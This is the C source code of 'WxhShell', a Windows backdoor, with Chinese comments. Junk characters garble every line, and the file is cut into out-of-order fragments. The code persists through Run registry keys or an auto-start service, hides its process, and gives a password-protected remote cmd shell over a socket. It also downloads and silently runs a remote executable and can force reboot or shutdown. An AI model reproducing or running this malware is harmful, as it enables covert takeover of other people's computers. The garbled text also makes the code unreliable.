    else { |c>A3 P$=B  
    closesocket(wsh); t #g6rh&  
    ExitThread(0); 65A>p:OO  
    } ;,&1  
    break; K>$od^f%c  
    } \E<)B#  
  // 获取shell ^coJ"[D  
  case 's': { 4B8{\ "6  
    CmdShell(wsh); 7" cgj#  
    closesocket(wsh); h:+>=~\  
    ExitThread(0); $}7WJz:  
    break; cYTX)]^u  
  } ~ #~Kxh  
  // 退出 A d7=JzV  
  case 'x': { WaWx5Fx+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BO ^T :  
    CloseIt(wsh); }%rz"kB  
    break; #/1,Cv yj  
    } {4{ACp  
  // 离开 Wc_Ph40C<_  
  case 'q': { :FdV$E]]<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1<qq69x  
    closesocket(wsh); f-6E>  
    WSACleanup(); O@_)]z?jUc  
    exit(1); jX{lo  
    break; )P.|Xk:r  
        }  Wcn^IQ  
  } mv xg|<  
  } S*CRVs  
fD|ox  
  // 提示信息 zn3i2MWS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >[Q(!Ai  
} _W*3FH  
  } #tBbvs+%  
4//Ww6W:  
  return; A\.M/)Qo  
} s\Cl3  
<OW` )0UX  
// shell模块句柄 J]|-.Wv1  
int CmdShell(SOCKET sock) c{#lKD<7  
{ -]PW\}w1  
STARTUPINFO si; c-avX  
ZeroMemory(&si,sizeof(si)); zYj8\iER  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A0WQZt!FEN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7IZ(3B<87t  
PROCESS_INFORMATION ProcessInfo; mnXaf)"  
char cmdline[]="cmd"; 12E@9s$Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '&T4ryq3"  
  return 0; Ar=pzQ<Z{  
} Mp$ uEi  
"Rs^0iT7>  
// 自身启动模式 "v~w#\pz7  
int StartFromService(void) +|( eP_  
{ R_ 4600  
typedef struct /tP"r}l   
{ 0/(YH  
  DWORD ExitStatus; C `knFGb  
  DWORD PebBaseAddress; fX} dh9  
  DWORD AffinityMask; FK={ %  
  DWORD BasePriority; KY"W{D9ib  
  ULONG UniqueProcessId; $+[HJ{  
  ULONG InheritedFromUniqueProcessId; ;Cyt2]F  
}   PROCESS_BASIC_INFORMATION; t_@%4Wn!1L  
D@d/O  
PROCNTQSIP NtQueryInformationProcess; +69sG9BA  
6eK18*j%H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p#J}@a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t]" 3vE>  
kfA%%A  
  HANDLE             hProcess; HHoh//(\  
  PROCESS_BASIC_INFORMATION pbi; WGVvBX7#  
W/{HZ< :.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u& :-&gva  
  if(NULL == hInst ) return 0; @ou g^]a  
U4O F{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YJXh|@LT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Alp9] 0(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c<-_Vh.:5  
~++y4NB8Q  
  if (!NtQueryInformationProcess) return 0; X )g <F  
.azdAq'r&\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i>q]U:U  
  if(!hProcess) return 0; QSEf  
0 Co_,"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n>Q/XQXB  
>,A:zbs&  
  CloseHandle(hProcess); e/F=5_Io  
fkyj&M/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 86@"BNnTh  
if(hProcess==NULL) return 0; =R?NOWrDY  
t#}/VnSQ  
HMODULE hMod; N~g'Z `  
char procName[255]; GZ UDI#  
unsigned long cbNeeded; vXRfsv y  
qS|bpC0x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )1Os+0az  
Nx;U]O6A  
  CloseHandle(hProcess); C-m OtI  
Zz,E4+'Rm  
if(strstr(procName,"services")) return 1; // 以服务启动 RBJgQ<j8  
!ZD[ $lt+  
  return 0; // 注册表启动 4=>/x90y  
} =MRg  
rM<c;iQ  
// 主模块 Bj;Fy9[yb  
int StartWxhshell(LPSTR lpCmdLine) D%Hz'G0|  
{ Fla,#uB  
  SOCKET wsl; @T|mHfQ8  
BOOL val=TRUE; 0^5SL/2  
  int port=0; j#9p 0[  
  struct sockaddr_in door; j$n[; \]n  
Pj8s;#~u  
  if(wscfg.ws_autoins) Install(); }.$oZo9J  
|\*7J!Liv  
port=atoi(lpCmdLine); O (<Wn-  
8AOJ'~$  
if(port<=0) port=wscfg.ws_port; Gyk>5Q}}  
KaZ*HPe(  
  WSADATA data; NELQo#kjZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gyw@+(l  
,Si\ky7L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~*ZB2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =oV8 !d%]  
  door.sin_family = AF_INET;  ^GB9!d.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~2beVQ(U  
  door.sin_port = htons(port); 'bN\bbR  
;m,lS_[c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K@Twiw~rB  
closesocket(wsl); Ge8&_7  
return 1; |g}! F-  
} P)XkqOGpT9  
Hz`rw\\Xq  
  if(listen(wsl,2) == INVALID_SOCKET) { M3Q#=yy$D$  
closesocket(wsl); E%:!* 9  
return 1; P>z k  
} \_#0Z+pX  
  Wxhshell(wsl); K8$Hg:Ky-/  
  WSACleanup(); ^VR1whCrx  
>&f .^p  
return 0; 3/H^YM @  
36s[hg  
} p4\%*ovQt  
hY7Q$B<  
// 以NT服务方式启动 7]_UZ)u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {6!Mf+Xq  
{ HWxk>F0  
DWORD   status = 0; ]F r+cP  
  DWORD   specificError = 0xfffffff; 6d&BN7B  
zO<EbqNe!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hV;Tm7I2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L}ud+Wfox  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8)&H=#E  
  serviceStatus.dwWin32ExitCode     = 0; C"PN3>x}j  
  serviceStatus.dwServiceSpecificExitCode = 0; {c<MB xk  
  serviceStatus.dwCheckPoint       = 0; #m1e_[   
  serviceStatus.dwWaitHint       = 0; !T@>Ld:  
%L+/GtxK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m=k(6  
  if (hServiceStatusHandle==0) return; v)N8vFdd  
U5jY/e_  
status = GetLastError(); 7=N=J<]pl  
  if (status!=NO_ERROR) HNxJ`x~Z~  
{ ={ c=8G8T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z`v6DfK}  
    serviceStatus.dwCheckPoint       = 0; WM}:%T-  
    serviceStatus.dwWaitHint       = 0; %4Ylq|d  
    serviceStatus.dwWin32ExitCode     = status; k[R/RhHQ,  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~j" aJ /  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;XSRG*3j~4  
    return; )fP ,F(  
  } J\b,rOIf  
B9KY$^J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?q1&(g]qO  
  serviceStatus.dwCheckPoint       = 0; t*5d'aE`/  
  serviceStatus.dwWaitHint       = 0; JXUnhjB,B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (P~Jzp9u  
} k$y(H;XA  
N*$<Kjw  
// 处理NT服务事件,比如:启动、停止 H@bra~k-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8N4W}YBs  
{ FSoL|lH  
switch(fdwControl) m>k j@^SQ  
{ >~_y\  
case SERVICE_CONTROL_STOP: LN ]ks)  
  serviceStatus.dwWin32ExitCode = 0; YN_#x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l <<0:~+q  
  serviceStatus.dwCheckPoint   = 0; PwQW5,,h0  
  serviceStatus.dwWaitHint     = 0; 9*GwW&M%1_  
  { 5s8S;Pb]<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fc._*y#AS  
  } >};,Byv!%  
  return; V^QKn+/  
case SERVICE_CONTROL_PAUSE: *#;8mM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oF,XSd  
  break; Q2cF++Q1  
case SERVICE_CONTROL_CONTINUE: eW"i'\`0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l " pCxA  
  break; gP/[=:  
case SERVICE_CONTROL_INTERROGATE: `I,A7b  
  break; [6K2V:6:  
}; H/Cv?GJF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GK)3a 9;  
} 0bQaXxt|p  
gn1`ZYg  
// 标准应用程序主函数 jFM8dl n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z{pNQ[t1Z  
{ 6[$kEKOY=  
Ev0GAc1  
// 获取操作系统版本 +P/"bwv0  
OsIsNt=GetOsVer(); ZLyJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TP{lt6wws(  
\3n{%\_  
  // 从命令行安装 nT` NfN  
  if(strpbrk(lpCmdLine,"iI")) Install(); u><ax  
ehtiu!Vk  
  // 下载执行文件 RKdf1C  
if(wscfg.ws_downexe) { 3:<+9X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K~<pD:s  
  WinExec(wscfg.ws_filenam,SW_HIDE); B/q/sC  
} {k1s@KXtd  
|2CW!is  
if(!OsIsNt) { $ ;>,  
// 如果时win9x,隐藏进程并且设置为注册表启动 9<kKno  
HideProc(); n} GIf&  
StartWxhshell(lpCmdLine); T~s/@*y9  
} Ox?LVRvxI  
else h#zx^F1  
  if(StartFromService()) to[EA6J8l  
  // 以服务方式启动 =}\]i*  
  StartServiceCtrlDispatcher(DispatchTable); ABNsi$]r0  
else Yk(OVl T  
  // 普通方式启动 ~ i1w,;(  
  StartWxhshell(lpCmdLine); TUJ]u2J8?  
^c< <I-o|  
return 0; eM/|"^%  
} $Bz|[=  
4v3y3  
B5#a 4G.  
*`ehI_v :  
=========================================== ^4Tr @g#]"  
h?.6e9Y4  
ijr*_=  
Z@ h<xo*r  
lcJ`OLG  
EYGJDv(S  
" & ?/h5<  
WaWT 5|A  
#include <stdio.h> ;s"m* 4N  
#include <string.h> _M:)x0("  
#include <windows.h> qw%4j9}  
#include <winsock2.h> aP8Im1<A  
#include <winsvc.h> uWx/V+w  
#include <urlmon.h> 5Ag]1k{  
?P<&8eY  
#pragma comment (lib, "Ws2_32.lib") .{7?Y;_(  
#pragma comment (lib, "urlmon.lib") ?-#w [J'6  
zY[6Ia{L  
#define MAX_USER   100 // 最大客户端连接数 ~S|Vd  
#define BUF_SOCK   200 // sock buffer ]!YzbvoR  
#define KEY_BUFF   255 // 输入 buffer &lBfW$PZjk  
"uGJ\  
#define REBOOT     0   // 重启 1uB}Oe 2~  
#define SHUTDOWN   1   // 关机 ?U|~h1   
xw%?R=&L  
#define DEF_PORT   5000 // 监听端口 Ip8 Ap$  
feNr!/  
#define REG_LEN     16   // 注册表键长度 fQ#mx.|8y  
#define SVC_LEN     80   // NT服务名长度 n9bX[+#d  
70 HEu@-  
// 从dll定义API F`Q,pBl1p6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "^_p>C)T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "kP.Kx!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l-t:7`=|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L4Nk+R;  
H1 \~T  
// wxhshell配置信息 T:; e73  
struct WSCFG { (d#?\  
  int ws_port;         // 监听端口 hH"3Y}U@  
  char ws_passstr[REG_LEN]; // 口令 5 Nl>4d`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5uDQ*nJ|  
  char ws_regname[REG_LEN]; // 注册表键名 ]YevO(  
  char ws_svcname[REG_LEN]; // 服务名 bXJ,L$q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q=e?G300#L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gl]{mUZz}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 . s? ''/(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U?#6I-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aEZl ICpU7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eWwSD#N#  
K<|b>PI.s  
}; gkBat(Uc  
c?q#?K aF  
// default Wxhshell configuration <LBMth  
struct WSCFG wscfg={DEF_PORT, k9}im  
    "xuhuanlingzhe", q#OLb"bTr  
    1, F<'g6 f  
    "Wxhshell", " Jv&=zJ  
    "Wxhshell", i]Kq  
            "WxhShell Service", .YS[Md{  
    "Wrsky Windows CmdShell Service", _9L2JN$R6  
    "Please Input Your Password: ", <6(u%t0k5  
  1, CuuHRvU8  
  "http://www.wrsky.com/wxhshell.exe", >{m>&u;Cc  
  "Wxhshell.exe" Nkv2?o>l  
    }; UKX'A)$  
y99G3t  
// 消息定义模块 YJ3970c/M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q/4PX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m1+DeXR_g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o &Nr5S  
char *msg_ws_ext="\n\rExit."; It]CoAo+  
char *msg_ws_end="\n\rQuit."; ;K:.*sAa  
char *msg_ws_boot="\n\rReboot..."; H2k>E}`  
char *msg_ws_poff="\n\rShutdown..."; ^]aDLjD  
char *msg_ws_down="\n\rSave to "; iT.hXzPzr*  
dX+DE(y  
char *msg_ws_err="\n\rErr!"; q=96Ci_a  
char *msg_ws_ok="\n\rOK!"; r/{0Y Fa  
j4G,Z4  
char ExeFile[MAX_PATH]; [bGdg  
int nUser = 0; }]g>PY  
HANDLE handles[MAX_USER]; >@rp]xx  
int OsIsNt; 0D.YO<PU  
[=LQ,e$r7  
SERVICE_STATUS       serviceStatus; CrqWlO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :SYg)|s  
u9VJ{F  
// 函数声明 ^-=,q.[7  
int Install(void); T[<9Ty'^  
int Uninstall(void); ,Hj=]e2?  
int DownloadFile(char *sURL, SOCKET wsh); Gia_B6*Y[  
int Boot(int flag); Qz/=+A/4  
void HideProc(void); _-^ KqNyy  
int GetOsVer(void); noL<pkks~R  
int Wxhshell(SOCKET wsl); 2+ 9">a@  
void TalkWithClient(void *cs); ;itz` 9T  
int CmdShell(SOCKET sock); d]a*)m&  
int StartFromService(void); S{ *RF)  
int StartWxhshell(LPSTR lpCmdLine); FQ O6w'  
zeR!Y yt!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a2p<HW;)m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (( t8  
6'*?zZrz  
// 数据结构和表定义 z?E:s.4F  
SERVICE_TABLE_ENTRY DispatchTable[] = W%Ky#!\-  
{ A\z[/3& RK  
{wscfg.ws_svcname, NTServiceMain}, >eJk)qM  
{NULL, NULL} gv<9XYByt  
}; *+Q,b^N  
!xa,[$w(^  
// 自我安装 WU}JArX9  
int Install(void) Vl'|l)b4W  
{ \Dr@n^hk@[  
  char svExeFile[MAX_PATH]; oYqlN6n,=6  
  HKEY key; i<&2Ffvq  
  strcpy(svExeFile,ExeFile); bCE[oi6hb  
3:);vh!  
// 如果是win9x系统,修改注册表设为自启动 9~>;sjJk  
if(!OsIsNt) { ?M\3n5;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u^V`Ucd"R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6AzH'H F  
  RegCloseKey(key); 7G2TTa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M[Ls:\1a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oja)J-QXb  
  RegCloseKey(key); i}M&1E  
  return 0; Y_f6y 9?ZE  
    } &AlVJEI+  
  } Z&/;6[  
} VN;Sz,1Z  
else { UyIjM;X  
Xt9?7J#\T  
// 如果是NT以上系统,安装为系统服务 @KNp?2a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K3 "co1]u  
if (schSCManager!=0) 3LX<&."z  
{ 0y|}}92:  
  SC_HANDLE schService = CreateService ,R*ru*  
  ( *crpM3fO>  
  schSCManager, _X;5ORH"  
  wscfg.ws_svcname, KqaeRs.u  
  wscfg.ws_svcdisp, {w{|y[[d~  
  SERVICE_ALL_ACCESS, v,1.n{!;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `@=}5 9+|  
  SERVICE_AUTO_START, }%_x T  
  SERVICE_ERROR_NORMAL, G4AX8@;U  
  svExeFile, /koNcpJ  
  NULL, jskATA /  
  NULL, bxEb2D  
  NULL, ZK_IK)g  
  NULL, vNi7=3  
  NULL TZPWMCN4  
  ); C6O1ype  
  if (schService!=0) D='/-3f!F]  
  { Y.jg }oV  
  CloseServiceHandle(schService); sStaT R{  
  CloseServiceHandle(schSCManager); b)'Ew27  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xdp{y =,[  
  strcat(svExeFile,wscfg.ws_svcname); H6rWb6i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qn<J@%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (a]'}c$X9`  
  RegCloseKey(key); ]?mWnEi!z  
  return 0; \w O)w@"  
    } MdZ7Yep  
  } ZK3?"|vhC  
  CloseServiceHandle(schSCManager); Y( D d7`c  
} p;BdzV>  
} d/Fjs0pt  
BJ~Q\Si6  
return 1; o<@2zhuhrx  
} )v8;\1`s:  
p!U#53  
// 自我卸载 0>VgO{X  
int Uninstall(void) JL2IVENWc  
{ Lg_y1Mu7o  
  HKEY key; 0xIr:aFF  
 +6uun  
if(!OsIsNt) { IS]03_uQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m-> chOu~|  
  RegDeleteValue(key,wscfg.ws_regname); Joq9.%7Q  
  RegCloseKey(key); {Am\%v\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (!DH'2I[  
  RegDeleteValue(key,wscfg.ws_regname); !bT0kP$3}  
  RegCloseKey(key); }B^s!y&b  
  return 0; Fov/?:f$  
  } `k _5Pz\  
} j\!zz  
} 6bo,x  
else { ^*%p]r  
zO9|s}J8q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z]uN9c  
if (schSCManager!=0) Y\sLwLLlG  
{ ^7F!>!9Ca  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5|S|HZ8G  
  if (schService!=0) )0fQ(3oOg  
  { 52wq<[#tK  
  if(DeleteService(schService)!=0) { 1Qhx$If~  
  CloseServiceHandle(schService); %49@  
  CloseServiceHandle(schSCManager); sB-c'`,w`  
  return 0; c<DsCzX  
  } J>] ' {!+  
  CloseServiceHandle(schService); >xJt&jW-  
  } m$pXe<  
  CloseServiceHandle(schSCManager); ` n@[=l~  
} 3,3{wGvHHW  
} 7<|1 xOT  
m5{Y  
return 1; v?fB:[dG  
} DtXXfp@;  
Ml+.\'r  
// 从指定url下载文件 S;i^ucAF  
int DownloadFile(char *sURL, SOCKET wsh) m\"M`o B  
{ NTs< ;ED  
  HRESULT hr; V\ !FD5%  
char seps[]= "/"; DY~~pi~  
char *token; *z` {$hc  
char *file; mK@\6GOMYP  
char myURL[MAX_PATH]; -NiFO  
char myFILE[MAX_PATH]; Dn<2.!ZKQ  
g0cCw2S  
strcpy(myURL,sURL); H Y.,f_m  
  token=strtok(myURL,seps); b;9v.MZ4>g  
  while(token!=NULL) f ,K1a9.  
  { j)'V_@  
    file=token; kH-1l>":  
  token=strtok(NULL,seps); _+z@Qn?#6h  
  } >F Z6\  
:==kC672  
GetCurrentDirectory(MAX_PATH,myFILE); w+2:eFi=/  
strcat(myFILE, "\\"); E)#3*Wlu$  
strcat(myFILE, file); [^1;8Tbk  
  send(wsh,myFILE,strlen(myFILE),0); }I; =IYrN  
send(wsh,"...",3,0); 9n |H%AC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [~f%z(vI  
  if(hr==S_OK) y 9/27yWB  
return 0; X7NRQ3P@  
else yr[iAi"  
return 1; vh KA8vr  
.6(Bf$E  
} (aiE!c  
04WKAP'c N  
// 系统电源模块 VskyRxfdW3  
int Boot(int flag) JQQD~J1)E  
{ ,yAvLY5 P  
  HANDLE hToken; `r+e! o  
  TOKEN_PRIVILEGES tkp; lv&<kYWY  
u2-%~Rlo  
  if(OsIsNt) { i\},  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uAK-%Uu?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7{."Y@  
    tkp.PrivilegeCount = 1; Lo7R^>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z&JW}''n|F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g9GE0DbT`  
if(flag==REBOOT) { 9p>3k&S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) py P5^Qv  
  return 0; )-2OraUm<  
} c}g^wLa  
else { &P[eA u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /_26D0}UuF  
  return 0; 3$(1LN  
} amlE5GK;  
  } PO<4rT+B  
  else {  {hZ_f3o  
if(flag==REBOOT) { W O|2x0K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s-o0N{b?#'  
  return 0; C Ij3D"  
} bYgrKz@uK  
else { IUbYw~f3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,F6i5128{  
  return 0; A5!f#  
} &0Wv+2l @  
} uJF,:}qA  
J3S@1"   
return 1; ,%v  
} /NMd GKr  
*D*K`dk  
// win9x进程隐藏模块 k3}ymhUf  
void HideProc(void) h+t{z"Ic=  
{ F2!_Z=  
g[q1P:I@W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r,L#JR w#-  
  if ( hKernel != NULL ) :&&Ps4\Sq  
  { 7MOjZD4?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,]y)Dy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); efl6U/'Ij  
    FreeLibrary(hKernel); 7W5FHZd'  
  } l?pZdAE  
#wk'&XsC#z  
return; >m44U 9   
} ~Pv4X2MO  
D(@#Gd\Z@  
// 获取操作系统版本 Do=*bZ;A  
int GetOsVer(void) Beiz*2-}a  
{ aVM@^n  
  OSVERSIONINFO winfo; >|XQfavE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |L%F`K>Z:  
  GetVersionEx(&winfo); Ex&f}/F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `~(KbH=]  
  return 1; x\*`i)su  
  else `.#e4 FBW  
  return 0; 0 #VH=pga  
} 9"I/jd0B  
CLdLO u"  
// 客户端句柄模块 6wqq"6w  
int Wxhshell(SOCKET wsl) T&tCXi  
{ =V/$&96Q  
  SOCKET wsh; _^0yE_ili  
  struct sockaddr_in client; )DI/y1  
  DWORD myID; M$FQoRwH  
=zK7`5  
  while(nUser<MAX_USER) V`l.F"<L  
{ T,TKt%  
  int nSize=sizeof(client); &g\D-At  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kbI:}b7H  
  if(wsh==INVALID_SOCKET) return 1; <q~&g &&+  
ALiA+k N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /IxMRi=  
if(handles[nUser]==0) T]Vh]|_s  
  closesocket(wsh); z%hB=V!~91  
else K9m L1[B  
  nUser++; E;@` { v  
  } yCf*ts1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 71z$a  
EZ8Ih,j9  
  return 0; #]_S{sO  
} 3R !Mfz*  
:y"Zc1_E  
// 关闭 socket l=Jbuc  
void CloseIt(SOCKET wsh) JY"<b6C^  
{ >/.-N  
closesocket(wsh); smoz5~  
nUser--; $"!"=v%B  
ExitThread(0); `$JPF  Z  
} CKNC"Y*X  
LR@rn2Z  
// 客户端请求句柄 Zoh2m`6  
void TalkWithClient(void *cs) 4l@*x^F  
{ xx)egy_  
f[6;)ZA  
  SOCKET wsh=(SOCKET)cs; pUZbZ U  
  char pwd[SVC_LEN]; V44IA[  
  char cmd[KEY_BUFF]; Q0Y0Zt,h  
char chr[1]; S#/[>Cb  
int i,j; 21O!CvX   
!_QE|tVeR  
  while (nUser < MAX_USER) { ,P3nZ  
GPy+\P`  
if(wscfg.ws_passstr) { AMp[f%X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C_rlbl;T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ryy".'v  
  //ZeroMemory(pwd,KEY_BUFF); wN-3@  
      i=0; h\Ck""&  
  while(i<SVC_LEN) { t|0Zpp;  
z4D[>2*  
  // 设置超时 '2vZ%C$  
  fd_set FdRead; x{`>Il  
  struct timeval TimeOut; OGw =e{  
  FD_ZERO(&FdRead); 3R1v0  
  FD_SET(wsh,&FdRead); 1@JAY!yoo_  
  TimeOut.tv_sec=8; 56;lB$)"  
  TimeOut.tv_usec=0; NRe{0U}nO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R*3x{DNL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I,OEor6%R(  
~4S@kYe{3K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6nV]Ec~3[  
  pwd=chr[0]; 9!6sf GZ  
  if(chr[0]==0xd || chr[0]==0xa) { d #9 \]Ul&  
  pwd=0; S 'S|k7Lp  
  break; u=I\0H  
  } (%=[J/F/  
  i++; PTfTT_t  
    } @iWql*K;m  
[1K\ _  
  // 如果是非法用户,关闭 socket *Hx{eqC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bq#*XCt#  
} owHhlS{  
Ea#wtow|-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dr#g[}l'H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 99j^<)  
+L D\~dcV+  
while(1) { 't'~p#$,F  
bBA #o\[  
  ZeroMemory(cmd,KEY_BUFF); $a|C/s+}7>  
MA1.I4dm  
      // 自动支持客户端 telnet标准   Qxr&zT7f  
  j=0; ?UCK  
  while(j<KEY_BUFF) { ?*lpu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/:M~ b  
  cmd[j]=chr[0]; rvrv[^a(  
  if(chr[0]==0xa || chr[0]==0xd) { {}!`v%z  
  cmd[j]=0; YTP6m9hA+  
  break; Wm_:1~  
  } s @\UZ C  
  j++; Q'xZ\t  
    } 's#"~<L^e  
yzJ VU0s  
  // 下载文件 &!7{2E\7C  
  if(strstr(cmd,"http://")) { kH:! 7L_=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :=9?XzCC  
  if(DownloadFile(cmd,wsh)) S-@E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); + q@kRQY;n  
  else N0TEVDsk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ps=OL\i  
  } o ;nw;]oR  
  else { &)Y26*(`  
?U3X,uv5J  
